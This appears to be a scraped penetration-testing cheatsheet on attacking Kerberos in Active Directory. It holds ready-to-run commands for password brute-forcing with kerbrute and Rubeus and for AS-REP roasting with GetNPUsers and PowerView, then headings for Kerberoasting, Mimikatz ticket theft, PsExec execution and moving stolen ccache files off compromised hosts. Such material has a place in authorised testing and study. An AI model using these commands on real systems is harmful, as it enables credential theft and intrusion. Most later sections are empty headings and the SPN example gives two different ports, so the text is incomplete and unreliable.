For the complete documentation index, see llms.txt. This page is also available as Markdown.

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>

ASREPRoast

Enumeration

Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl

Linux (Impacket)

# With credentials
python GetNPUsers.py <domain_name>/<domain_user>:<domain_user_password> -request -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>

# No credentials - spray a user list
GetNPUsers.py <DOMAIN>/ -dc-ip <dc_ip> -no-pass -usersfile valid_ad_users

# Single user no password
python3 GetNPUsers.py COMPANY.local/james -no-pass -dc-ip 172.16.1.20

Windows (Rubeus)

Cracking

SPN Service Principal Name Overview

  • The structure of an SPN consists of three (3) main parts: Service Class: the service type, i.e., SQL, Web, Exchange, File, etc., and the Host where the service is usually running in the format of FQDN (Fully Qualified Domain Name)and port number.

  • For example, below, the Microsoft SQL service runs on the dcorp-mgmt host on port 1443.

    The SPN is MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local:1433

Kerberoasting

Enumeration

Impacket (Linux)

If you get KRB_AP_ERR_SKEW(Clock skew too great), sync time with the DC: ntpdate <IP of DC>

Rubeus

PowerShell

Native PowerShell (.NET)

Cracking

Mimikatz Ticket Export

Targeted Kerberoasting (via GenericAll/GenericWrite)

  • If you have write access over a user, set a fake SPN then Kerberoast it

Harvest tickets from Windows

With Mimikatz:

With Rubeus in Powershell:

To convert tickets between Linux/Windows format with ticket_converter.py:

Using ticket in Linux:

With Impacket examples:

Using ticket in Windows

Inject ticket with Mimikatz:

Inject ticket with Rubeus:

Execute a cmd in the remote machine with PsExec:

Misc

To get NTLM from password:

Keytab File Extraction

Find keytab files on a compromised Linux host:

Extract hashes from a keytab file:

Import and Use a Keytab

SSH with Kerberos Principal


Ccache Impersonation

Ccache files store Kerberos tickets on Linux. Look for them in /tmp:

Check Ccache Validity

Use a Ccache File

Use Ccache Through a Proxy

Linikatz — Machine Account Authentication

Use linikatz to authenticate with the machine's Kerberos ticket:


Ticket Conversion

Convert between ccache (Linux) and kirbi (Windows) formats:

Note: If the ccache is already in the correct format for your tool, don't convert it — just set KRB5CCNAME.


Transfer Ccache Off Target

When you need to exfiltrate a ccache file from a compromised Linux host:


krb5.conf Setup

For Kerberos authentication to work from your attack machine, configure /etc/krb5.conf:

/etc/hosts Setup

Verify DNS resolution:


Tools

Last updated